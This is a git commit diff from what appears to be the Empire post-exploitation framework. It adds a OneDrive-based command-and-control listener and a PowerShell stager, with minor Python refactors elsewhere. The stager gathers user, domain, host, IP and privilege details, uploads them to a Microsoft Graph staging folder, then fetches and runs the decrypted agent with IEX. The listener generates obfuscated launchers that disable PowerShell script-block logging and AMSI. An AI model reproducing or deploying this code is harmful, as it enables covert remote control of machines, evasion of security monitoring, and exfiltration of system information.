Updated events

3.0-Beta
chris 2018-03-15 15:48:22 -04:00
commit 16563120c3
5 changed files with 1087 additions and 12 deletions

View File

@ -0,0 +1,222 @@
function Start-Negotiate {
param($T,$SK,$PI=5,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
function ConvertTo-RC4ByteStream {
Param ($RCK, $In)
begin {
[Byte[]] $S = 0..255;
$J = 0;
0..255 | ForEach-Object {
$J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256;
$S[$_], $S[$J] = $S[$J], $S[$_];
};
$I = $J = 0;
}
process {
ForEach($Byte in $In) {
$I = ($I + 1) % 256;
$J = ($J + $S[$I]) % 256;
$S[$I], $S[$J] = $S[$J], $S[$I];
$Byte -bxor $S[($S[$I] + $S[$J]) % 256];
}
}
}
function Decrypt-Bytes {
param ($Key, $In)
if($In.Length -gt 32) {
$HMAC = New-Object System.Security.Cryptography.HMACSHA256;
$e=[System.Text.Encoding]::ASCII;
# Verify the HMAC
$Mac = $In[-10..-1];
$In = $In[0..($In.length - 11)];
$hmac.Key = $e.GetBytes($Key);
$Expected = $hmac.ComputeHash($In)[0..9];
if (@(Compare-Object $Mac $Expected -Sync 0).Length -ne 0) {
return;
}
# extract the IV
$IV = $In[0..15];
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$AES.Mode = "CBC";
$AES.Key = $e.GetBytes($Key);
$AES.IV = $IV;
($AES.CreateDecryptor()).TransformFinalBlock(($In[16..$In.length]), 0, $In.Length-16)
}
}
# make sure the appropriate assemblies are loaded
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto
# $SK -> staging key for this server
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$IV = [byte] 0..255 | Get-Random -count 16;
$AES.Mode="CBC";
$AES.Key=$SKB;
$AES.IV = $IV;
$hmac = New-Object System.Security.Cryptography.HMACSHA256;
$hmac.Key = $SKB;
$csp = New-Object System.Security.Cryptography.CspParameters;
$csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore;
$rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp;
# export the public key in the only format possible...stupid
$rk=$rs.ToXmlString($False);
# generate a randomized sessionID of 8 characters
$ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8);
# build the packet of (xml_key)
$ib=$e.getbytes($rk);
# encrypt/HMAC the packet for the c2 server
$eb=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length);
$eb=$eb+$hmac.ComputeHash($eb)[0..9];
# if the web client doesn't exist, create a new web client and set appropriate options
# this only happens if this stager.ps1 code is NOT called from a launcher context
if(-not $wc) {
$wc=New-Object System.Net.WebClient;
# set the proxy settings for the WC to be the default system settings
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
}
if ($Script:Proxy) {
$wc.Proxy = $Script:Proxy;
}
# RC4 routing packet:
# sessionID = $ID
# language = POWERSHELL (1)
# meta = STAGE1 (2)
# extra = (0x00, 0x00)
# length = len($eb)
$IV=[BitConverter]::GetBytes($(Get-Random));
$data = $e.getbytes($ID) + @(0x01,0x02,0x00,0x00) + [BitConverter]::GetBytes($eb.Length);
$rc4p = ConvertTo-RC4ByteStream -RCK $($IV+$SKB) -In $data;
$rc4p = $IV + $rc4p + $eb;
# the User-Agent always resets for multiple calls...silly
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$wc.Headers.Set("Content-Type", "application/octet-stream");
# step 3 of negotiation -> client posts AESstaging(PublicKey) to the server
$Null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_1.txt:/content", "put", $rc4p);
# step 4 of negotiation -> server returns RSA(nonce+AESsession))
Start-Sleep -Seconds $(($PI -as [Int])*2);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
Do{try{
$raw=$wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_2.txt:/content");
}catch{Start-Sleep -Seconds $(($PI -as [Int])*2)}}While($raw -eq $null);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$null=$wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_2.txt", "DELETE", "");
$de=$e.GetString($rs.decrypt($raw,$false));
# packet = server nonce + AES session key
$nonce=$de[0..15] -join '';
$key=$de[16..$de.length] -join '';
# increment the nonce
$nonce=[String]([long]$nonce + 1);
# create a new AES object
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$IV = [byte] 0..255 | Get-Random -Count 16;
$AES.Mode="CBC";
$AES.Key=$e.GetBytes($key);
$AES.IV = $IV;
# get some basic system information
$i=$nonce+'|'+$s+'|'+[Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
$p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
# check if the IP is a string or the [IPv4,IPv6] array
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
$i+="|$ip";
$i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
# detect if we're SYSTEM or otherwise high-integrity
if(([Environment]::UserName).ToLower() -eq "system"){$i+="|True"}
else {$i += '|' +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}
# get the current process name and ID
$n=[System.Diagnostics.Process]::GetCurrentProcess();
$i+='|'+$n.ProcessName+'|'+$n.Id;
# get the powershell.exe version
$i += "|powershell|" + $PSVersionTable.PSVersion.Major;
# send back the initial system information
$ib2=$e.getbytes($i);
$eb2=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib2,0,$ib2.Length);
$hmac.Key = $e.GetBytes($key);
$eb2 = $eb2+$hmac.ComputeHash($eb2)[0..9];
# RC4 routing packet:
# sessionID = $ID
# language = POWERSHELL (1)
# meta = STAGE2 (3)
# extra = (0x00, 0x00)
# length = len($eb)
$IV2=[BitConverter]::GetBytes($(Get-Random));
$data2 = $e.getbytes($ID) + @(0x01,0x03,0x00,0x00) + [BitConverter]::GetBytes($eb2.Length);
$rc4p2 = ConvertTo-RC4ByteStream -RCK $($IV2+$SKB) -In $data2;
$rc4p2 = $IV2 + $rc4p2 + $eb2;
# the User-Agent always resets for multiple calls...silly
Start-Sleep -Seconds $(($PI -as [Int])*2);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$wc.Headers.Set("Content-Type", "application/octet-stream");
# step 5 of negotiation -> client posts nonce+sysinfo and requests agent
$Null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_3.txt:/content", "PUT", $rc4p2);
Start-Sleep -Seconds $(($PI -as [Int])*2);
$wc.Headers.Set("User-Agent",$UA);
$wc.Headers.Set("Authorization", "Bearer $T");
$raw=$null;
do{try{
$raw=$wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_4.txt:/content");
}catch{Start-Sleep -Seconds $(($PI -as [Int])*2)}}While($raw -eq $null);
Start-Sleep -Seconds $($PI -as [Int]);
$wc2=New-Object System.Net.WebClient;
$wc2.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc2.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
if($Script:Proxy) {
$wc2.Proxy = $Script:Proxy;
}
$wc2.Headers.Add("User-Agent",$UA);
$wc2.Headers.Add("Authorization", "Bearer $T");
$wc2.Headers.Add("Content-Type", " application/json");
$Null=$wc2.UploadString("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_4.txt", "DELETE", "");
# decrypt the agent and register the agent logic
IEX $( $e.GetString($(Decrypt-Bytes -Key $key -In $raw)) );
# clear some variables out of memory and cleanup before execution
$AES=$null;$s2=$null;$wc=$null;$eb2=$null;$raw=$null;$IV=$null;$wc=$null;$i=$null;$ib2=$null;
[GC]::Collect();
# TODO: remove this shitty $server logic
Invoke-Empire -Servers @('NONE') -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "REPLACE_WORKING_HOURS" -ProxySettings $Script:Proxy;
}
# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners
Start-Negotiate -T "REPLACE_TOKEN" -PI "REPLACE_POLLING_INTERVAL" -SK "REPLACE_STAGING_KEY" -UA $u;

View File

@ -905,12 +905,11 @@ class Agents:
self.lock.release()
def update_agent_lastseen_db(self, sessionID):
def update_agent_lastseen_db(self, sessionID, current_time=helpers.get_datetime()):
"""
Update the agent's last seen timestamp in the database.
"""
current_time = helpers.get_datetime()
conn = self.get_db_connection()
try:
self.lock.acquire()
@ -1501,7 +1500,7 @@ class Agents:
})
dispatcher.send(signal, sender="agents/{}".format(sessionID))
def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0'):
def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0', update_lastseen=True):
"""
Take the routing packet w/ raw encrypted data from an agent and
process as appropriately.
@ -1562,7 +1561,7 @@ class Agents:
'message': message
})
dispatcher.send(signal, sender="agents/{}".format(sessionID))
dataToReturn.append((language, self.handle_agent_response(sessionID, encData)))
dataToReturn.append((language, self.handle_agent_response(sessionID, encData, update_lastseen)))
else:
message = "[!] handle_agent_data(): sessionID {} gave unhandled meta tag in routing packet: {}".format(sessionID, meta)
@ -1574,7 +1573,7 @@ class Agents:
return dataToReturn
def handle_agent_request(self, sessionID, language, stagingKey):
def handle_agent_request(self, sessionID, language, stagingKey, update_lastseen=True):
"""
Update the agent's last seen time and return any encrypted taskings.
@ -1590,7 +1589,8 @@ class Agents:
return None
# update the client's last seen time
self.update_agent_lastseen_db(sessionID)
if update_lastseen:
self.update_agent_lastseen_db(sessionID)
# retrieve all agent taskings from the cache
taskings = self.get_agent_tasks_db(sessionID)
@ -1618,7 +1618,7 @@ class Agents:
return None
def handle_agent_response(self, sessionID, encData):
def handle_agent_response(self, sessionID, encData, update_lastseen=False):
"""
Takes a sessionID and posted encrypted data response, decrypt
everything and handle results as appropriate.
@ -1639,7 +1639,8 @@ class Agents:
sessionKey = self.agents[sessionID]['sessionKey']
# update the client's last seen time
self.update_agent_lastseen_db(sessionID)
if update_lastseen:
self.update_agent_lastseen_db(sessionID)
try:
# verify, decrypt and depad the packet

View File

@ -3679,7 +3679,7 @@ class ListenersMenu(SubMenu):
if len(arguments) == 2:
arguments.append("")
self.mainMenu.listeners.update_listener_options(arguments[0], arguments[1], arguments[2])
if arguments[0] in self.activeListeners.keys():
if arguments[0] in self.mainMenu.listeners.activeListeners.keys():
print helpers.color("[*] This change will not take effect until the listener is restarted")
def complete_usestager(self, text, line, begidx, endidx):

View File

@ -52,7 +52,7 @@ import threading
import pickle
import netifaces
import random
from time import localtime, strftime
from datetime import datetime
import subprocess
import fnmatch
import urllib, urllib2
@ -584,14 +584,22 @@ def get_datetime():
"""
Return the current date/time
"""
return strftime("%Y-%m-%d %H:%M:%S", localtime())
return datetime.now().strftime("%Y-%m-%d %H:%M:%S")
def utc_to_local(utc):
"""
Converts a datetime object in UTC to local time
"""
offset = datetime.now() - datetime.utcnow()
return (utc + offset).strftime("%Y-%m-%d %H:%M:%S")
def get_file_datetime():
"""
Return the current date/time in a format workable for a file name.
"""
return strftime("%Y-%m-%d_%H-%M-%S", localtime())
return datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
def get_file_size(file):

844
lib/listeners/onedrive.py Normal file
View File

@ -0,0 +1,844 @@
import base64
import random
import os
import re
import time
from datetime import datetime
import copy
import traceback
import sys
import json
from pydispatch import dispatcher
from requests import Request, Session
#Empire imports
from lib.common import helpers
from lib.common import agents
from lib.common import encryption
from lib.common import packets
from lib.common import messages
class Listener:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Onedrive',
'Author': ['@mr64bit'],
'Description': ('Starts a Onedrive listener. Setup instructions here: gist.github.com/mr64bit/3fd8f321717c9a6423f7949d494b6cd9'),
'Category': ('third_party'),
'Comments': ["Note that deleting STAGE0-PS.txt from the staging folder will break existing launchers"]
}
self.options = {
'Name' : {
'Description' : 'Name for the listener.',
'Required' : True,
'Value' : 'onedrive'
},
'ClientID' : {
'Description' : 'Client ID of the OAuth App.',
'Required' : True,
'Value' : ''
},
'AuthCode' : {
'Description' : 'Auth code given after authenticating OAuth App.',
'Required' : True,
'Value' : ''
},
'BaseFolder' : {
'Description' : 'The base Onedrive folder to use for comms.',
'Required' : True,
'Value' : 'empire'
},
'StagingFolder' : {
'Description' : 'The nested Onedrive staging folder.',
'Required' : True,
'Value' : 'staging'
},
'TaskingsFolder' : {
'Description' : 'The nested Onedrive taskings folder.',
'Required' : True,
'Value' : 'taskings'
},
'ResultsFolder' : {
'Description' : 'The nested Onedrive results folder.',
'Required' : True,
'Value' : 'results'
},
'Launcher' : {
'Description' : 'Launcher string.',
'Required' : True,
'Value' : 'powershell -noP -sta -w 1 -enc '
},
'StagingKey' : {
'Description' : 'Staging key for intial agent negotiation.',
'Required' : True,
'Value' : 'asdf'
},
'PollInterval' : {
'Description' : 'Polling interval (in seconds) to communicate with Onedrive.',
'Required' : True,
'Value' : '5'
},
'DefaultDelay' : {
'Description' : 'Agent delay/reach back interval (in seconds).',
'Required' : True,
'Value' : 60
},
'DefaultJitter' : {
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
'Required' : True,
'Value' : 0.0
},
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : 10
},
'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.',
'Required' : True,
'Value' : "N/A|Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.0 (16299)"
},
'KillDate' : {
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
'Required' : False,
'Value' : ''
},
'WorkingHours' : {
'Description' : 'Hours for the agent to operate (09:00-17:00).',
'Required' : False,
'Value' : ''
},
'RefreshToken' : {
'Description' : 'Refresh token used to refresh the auth token',
'Required' : False,
'Value' : ''
},
'RedirectURI' : {
'Description' : 'Redirect URI of the registered application',
'Required' : True,
'Value' : "https://login.live.com/oauth20_desktop.srf"
},
'SlackToken' : {
'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
'Required' : False,
'Value' : ''
},
'SlackChannel' : {
'Description' : 'The Slack channel or DM that notifications will be sent to.',
'Required' : False,
'Value' : '#general'
}
}
self.mainMenu = mainMenu
self.threads = {}
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
def default_response(self):
return ''
def validate_options(self):
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
#If we don't have an OAuth code yet, give the user a URL to get it
if (str(self.options['RefreshToken']['Value']).strip() == '') and (str(self.options['AuthCode']['Value']).strip() == ''):
if (str(self.options['ClientID']['Value']).strip() == ''):
print helpers.color("[!] ClientID needed to generate AuthCode URL!")
return False
params = {'client_id': str(self.options['ClientID']['Value']).strip(),
'response_type': 'code',
'redirect_uri': self.options['RedirectURI']['Value'],
'scope': 'files.readwrite offline_access'}
req = Request('GET','https://login.microsoftonline.com/common/oauth2/v2.0/authorize', params = params)
prep = req.prepare()
print helpers.color("[*] Get your AuthCode from \"%s\" and try starting the listener again." % prep.url)
return False
for key in self.options:
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
print helpers.color("[!] Option \"%s\" is required." % (key))
return False
return True
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
if not language:
print helpers.color("[!] listeners/onedrive generate_launcher(): No language specified")
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options']
staging_key = listener_options['StagingKey']['Value']
profile = listener_options['DefaultProfile']['Value']
launcher_cmd = listener_options['Launcher']['Value']
staging_key = listener_options['StagingKey']['Value']
poll_interval = listener_options['PollInterval']['Value']
base_folder = listener_options['BaseFolder']['Value'].strip("/")
staging_folder = listener_options['StagingFolder']['Value']
taskings_folder = listener_options['TaskingsFolder']['Value']
results_folder = listener_options['ResultsFolder']['Value']
if language.startswith("power"):
launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging
if safeChecks.lower() == 'true':
launcher += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
launcher += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
launcher += "'System.Management.Automation.Utils'"
launcher += helpers.randomize_capitalization(").'GetFie`ld'(")
launcher += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
launcher += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
launcher += "['ScriptB'+'lockLogging']"
launcher += helpers.randomize_capitalization("){$GPC")
launcher += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
launcher += helpers.randomize_capitalization("$GPC")
launcher += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
launcher += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
launcher += "('EnableScriptB'+'lockLogging',0);"
launcher += helpers.randomize_capitalization("$val.Add")
launcher += "('EnableScriptBlockInvocationLogging',0);"
launcher += helpers.randomize_capitalization("$GPC")
launcher += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
launcher += helpers.randomize_capitalization("=$val}")
launcher += helpers.randomize_capitalization("Else{[ScriptBlock].'GetFie`ld'(")
launcher += "'signatures','N'+'onPublic,Static'"
launcher += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
launcher += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
launcher += "'System.Management.Automation.AmsiUtils'"
launcher += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
launcher += "'amsiInitFailed','NonPublic,Static'"
launcher += helpers.randomize_capitalization(").SetValue($null,$true)};")
launcher += "};"
launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
launcher += helpers.randomize_capitalization("$wc=New-Object SYstem.Net.WebClient;")
if userAgent.lower() == 'default':
profile = listener_options['DefaultProfile']['Value']
userAgent = profile.split("|")[1]
launcher += "$u='" + userAgent + "';"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
launcher += helpers.randomize_capitalization("$wc.Headers.Add(")
launcher += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
launcher += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
else:
launcher += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
launcher += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
launcher += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default":
launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
else:
username = proxyCreds.split(":")[0]
password = proxyCreds.split(":")[1]
domain = username.split("\\")[0]
usr = username.split("\\")[1]
launcher += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
launcher += "$Script:Proxy = $wc.Proxy;"
# code to turn the key string into a byte array
launcher += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
launcher += ("'%s');" % staging_key)
# this is the minimized RC4 launcher code from rc4.ps1
launcher += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
launcher += helpers.randomize_capitalization("$data=$wc.DownloadData('")
launcher += self.mainMenu.listeners.activeListeners[listenerName]['stager_url']
launcher += helpers.randomize_capitalization("');$iv=$data[0..3];$data=$data[4..$data.length];")
launcher += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
launcher = helpers.obfuscate(self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand)
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(launcher, launcher_cmd)
else:
return launcher
if language.startswith("pyth"):
print helpers.color("[!] listeners/onedrive generate_launcher(): Python agent not implimented yet")
return "python not implimented yet"
else:
print helpers.color("[!] listeners/onedrive generate_launcher(): invalid listener name")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None):
"""
Generate the stager code
"""
if not language:
print helpers.color("[!] listeners/onedrive generate_stager(): no language specified")
return None
staging_key = listenerOptions['StagingKey']['Value']
base_folder = listenerOptions['BaseFolder']['Value']
staging_folder = listenerOptions['StagingFolder']['Value']
working_hours = listenerOptions['WorkingHours']['Value']
profile = listenerOptions['DefaultProfile']['Value']
agent_delay = listenerOptions['DefaultDelay']['Value']
if language.lower() == 'powershell':
f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
stager = f.read()
f.close()
stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder))
stager = stager.replace('REPLACE_STAGING_KEY', staging_key)
stager = stager.replace("REPLACE_TOKEN", token)
stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))
if working_hours != "":
stager = stager.replace("REPLACE_WORKING_HOURS", working_hours)
randomized_stager = ''
for line in stager.split("\n"):
line = line.strip()
if not line.startswith("#"):
if "\"" not in line:
randomized_stager += helpers.randomize_capitalization(line)
else:
randomized_stager += line
if encode:
return helpers.enc_powershell(randomized_stager)
elif encrypt:
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_stager)
else:
return randomized_stager
else:
print helpers.color("[!] Python agent not available for Onedrive")
def generate_comms(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None):
staging_key = listener_options['StagingKey']['Value']
base_folder = listener_options['BaseFolder']['Value']
taskings_folder = listener_options['TaskingsFolder']['Value']
results_folder = listener_options['ResultsFolder']['Value']
if not language:
print helpers.color("[!] listeners/onedrive generate_comms(): No language specified")
return
if language.lower() == "powershell":
#Function to generate a WebClient object with the required headers
token_manager = """
$Script:TokenObject = @{token="%s";refresh="%s";expires=(Get-Date).addSeconds(3480)};
$script:GetWebClient = {
$wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
if($Script:Proxy) {
$wc.Proxy = $Script:Proxy;
}
if((Get-Date) -gt $Script:TokenObject.expires) {
$data = New-Object System.Collections.Specialized.NameValueCollection
$data.add("client_id", "%s")
$data.add("grant_type", "refresh_token")
$data.add("scope", "files.readwrite offline_access")
$data.add("refresh_token", $Script:TokenObject.refresh)
$data.add("redirect_uri", "%s")
$bytes = $wc.UploadValues("https://login.microsoftonline.com/common/oauth2/v2.0/token", "POST", $data)
$response = [system.text.encoding]::ascii.getstring($bytes)
$Script:TokenObject.token = [regex]::match($response, '"access_token":"(.+?)"').groups[1].value
$Script:TokenObject.refresh = [regex]::match($response, '"refresh_token":"(.+?)"').groups[1].value
$expires_in = [int][regex]::match($response, '"expires_in":([0-9]+)').groups[1].value
$Script:TokenObject.expires = (get-date).addSeconds($expires_in - 15)
}
$wc.headers.add("User-Agent", $script:UserAgent)
$wc.headers.add("Authorization", "Bearer $($Script:TokenObject.token)")
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
$wc
}
""" % (token, refresh_token, client_id, redirect_uri)
post_message = """
$script:SendMessage = {
param($packets)
if($packets) {
$encBytes = encrypt-bytes $packets
$RoutingPacket = New-RoutingPacket -encData $encBytes -Meta 5
} else {
$RoutingPacket = ""
}
$wc = (& $GetWebClient)
$resultsFolder = "%s"
try {
try {
$data = $null
$data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$resultsFolder/$($script:SessionID).txt:/content")
} catch {}
if($data -and $data.length -ne 0) {
$routingPacket = $data + $routingPacket
}
$wc = (& $GetWebClient)
$null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/$resultsFolder/$($script:SessionID).txt:/content", "PUT", $RoutingPacket)
$script:missedChecking = 0
$script:lastseen = get-date
}
catch {
if($_ -match "Unable to connect") {
$script:missedCheckins += 1
}
}
}
""" % ("%s/%s" % (base_folder, results_folder))
get_message = """
$script:lastseen = Get-Date
$script:GetTask = {
try {
$wc = (& $GetWebClient)
$TaskingsFolder = "%s"
#If we haven't sent a message recently...
if($script:lastseen.addseconds($script:AgentDelay * 2) -lt (get-date)) {
(& $SendMessage -packets "")
}
$script:MissedCheckins = 0
$data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt:/content")
if($data -and ($data.length -ne 0)) {
$wc = (& $GetWebClient)
$null = $wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt", "DELETE", "")
if([system.text.encoding]::utf8.getString($data) -eq "RESTAGE") {
Start-Negotiate -T $script:TokenObject.token -SK $SK -PI $PI -UA $UA
}
$Data
}
}
catch {
if($_ -match "Unable to connect") {
$script:MissedCheckins += 1
}
}
}
""" % ("%s/%s" % (base_folder, taskings_folder))
return token_manager + post_message + get_message
def generate_agent(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None):
"""
Generate the agent code
"""
if not language:
print helpers.color("[!] listeners/onedrive generate_agent(): No language specified")
return
language = language.lower()
delay = listener_options['DefaultDelay']['Value']
jitter = listener_options['DefaultJitter']['Value']
profile = listener_options['DefaultProfile']['Value']
lost_limit = listener_options['DefaultLostLimit']['Value']
working_hours = listener_options['WorkingHours']['Value']
kill_date = listener_options['KillDate']['Value']
b64_default_response = base64.b64encode(self.default_response())
if language == 'powershell':
f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
agent_code = f.read()
f.close()
comms_code = self.generate_comms(listener_options, client_id, token, refresh_token, redirect_uri, language)
agent_code = agent_code.replace("REPLACE_COMMS", comms_code)
agent_code = helpers.strip_powershell_comments(agent_code)
agent_code = agent_code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
agent_code = agent_code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
agent_code = agent_code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
agent_code = agent_code.replace('$LostLimit = 60', "$LostLimit = " + str(lost_limit))
agent_code = agent_code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64_default_response+'"')
if kill_date != "":
agent_code = agent_code.replace("$KillDate,", "$KillDate = '" + str(kill_date) + "',")
return agent_code
def start_server(self, listenerOptions):
# Utility functions to handle auth tasks and initial setup
def get_token(client_id, code):
params = {'client_id': client_id,
'grant_type': 'authorization_code',
'scope': 'files.readwrite offline_access',
'code': code,
'redirect_uri': redirect_uri}
try:
r = s.post('https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params)
r_token = r.json()
r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15
r_token['update'] = True
return r_token
except KeyError, e:
print helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description']))
raise
def renew_token(client_id, refresh_token):
params = {'client_id': client_id,
'grant_type': 'refresh_token',
'scope': 'files.readwrite offline_access',
'refresh_token': refresh_token,
'redirect_uri': redirect_uri}
try:
r = s.post('https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params)
r_token = r.json()
r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15
r_token['update'] = True
return r_token
except KeyError, e:
print helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description']))
raise
def test_token(token):
headers = s.headers.copy()
headers['Authorization'] = 'Bearer ' + token
request = s.get("%s/drive" % base_url, headers=headers)
return request.ok
def setup_folders():
if not (test_token(token['access_token'])):
raise ValueError("Could not set up folders, access token invalid")
base_object = s.get("%s/drive/root:/%s" % (base_url, base_folder))
if not (base_object.status_code == 200):
print helpers.color("[*] Creating %s folder" % base_folder)
params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': base_folder}
base_object = s.post("%s/drive/items/root/children" % base_url, json=params)
else:
message = "[*] {} folder already exists".format(base_folder)
signal = json.dumps({
'print' : True,
'message': message
})
